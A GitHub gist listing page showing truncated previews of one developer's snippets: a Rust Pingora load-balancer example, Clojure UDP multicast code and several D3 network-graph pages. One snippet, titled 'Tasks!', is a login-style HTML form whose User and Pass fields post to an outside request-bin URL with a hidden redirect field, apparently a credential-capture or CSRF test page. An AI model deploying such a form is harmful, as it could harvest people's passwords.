Skip to content

Instantly share code, notes, and snippets.

@andrewhavck
andrewhavck / multi_lb.rs
Created March 16, 2024 02:45
Multi LB path routing example
use async_trait::async_trait;
use pingora::{
lb::selection::{BackendIter, BackendSelection},
prelude::*,
services::background::GenBackgroundService,
};
use std::sync::Arc;
struct Router {
cluster_one: Arc<LoadBalancer<RoundRobin>>,
@andrewhavck
andrewhavck / still-horsin.clj
Created December 11, 2013 05:38
async channels with udp
(ns udp-ping.core
(:require [clojure.core.async :refer [>! <! chan go close! thread]])
(:import (java.net DatagramPacket InetAddress MulticastSocket)))
(def port 10001)
(def group (InetAddress/getByName "224.1.0.0"))
(def buffer-size 1000)
(defprotocol Socket
(send! [this msg])
(ns udp-ping.core
(:import (java.net DatagramPacket InetAddress MulticastSocket)))
(def port 10001)
(def group (InetAddress/getByName "224.1.0.0"))
(def buffer-size 1000)
(defn broadcast [msg]
(let [s (MulticastSocket. port)]
(.joinGroup s group)
<html>
<head></head>
<body>
<h1>Tasks!</h1>
<form action="http://requestb.in/1jwz29t1" method="post">
User: <input type="text" name="user">
<br>
Pass: <input type="text" name="pass">
<br>
<input type="hidden" name="redir" value="/app.php?">
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<style>
.outnode {
fill: #ababab;
opacity: .3;
stroke: #FF6E6E;
stroke-width: 2;
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<style>
.outnode {
fill: #ababab;
opacity: .3;
stroke: #4099FF;
stroke-width: 3;
@andrewhavck
andrewhavck / index.html
Created December 17, 2012 05:55
fuck labels
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<style>
.outnode {
fill: #ababab;
opacity: .3;
stroke: #4099FF;
stroke-width: 3;
@andrewhavck
andrewhavck / index.html
Created December 17, 2012 03:03
shit code makes cool animation
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<style>
.outnode {
fill: #ababab;
opacity: .4;
}
@andrewhavck
andrewhavck / index.html
Created December 13, 2012 16:36
No labels
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<style>
.node {
stroke: #fff;
stroke-width: 1.5px;
}
@andrewhavck
andrewhavck / index.html
Created December 13, 2012 16:33
Force directed network graph of #dwolla
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<style>
.node {
stroke: #fff;
stroke-width: 1.5px;
}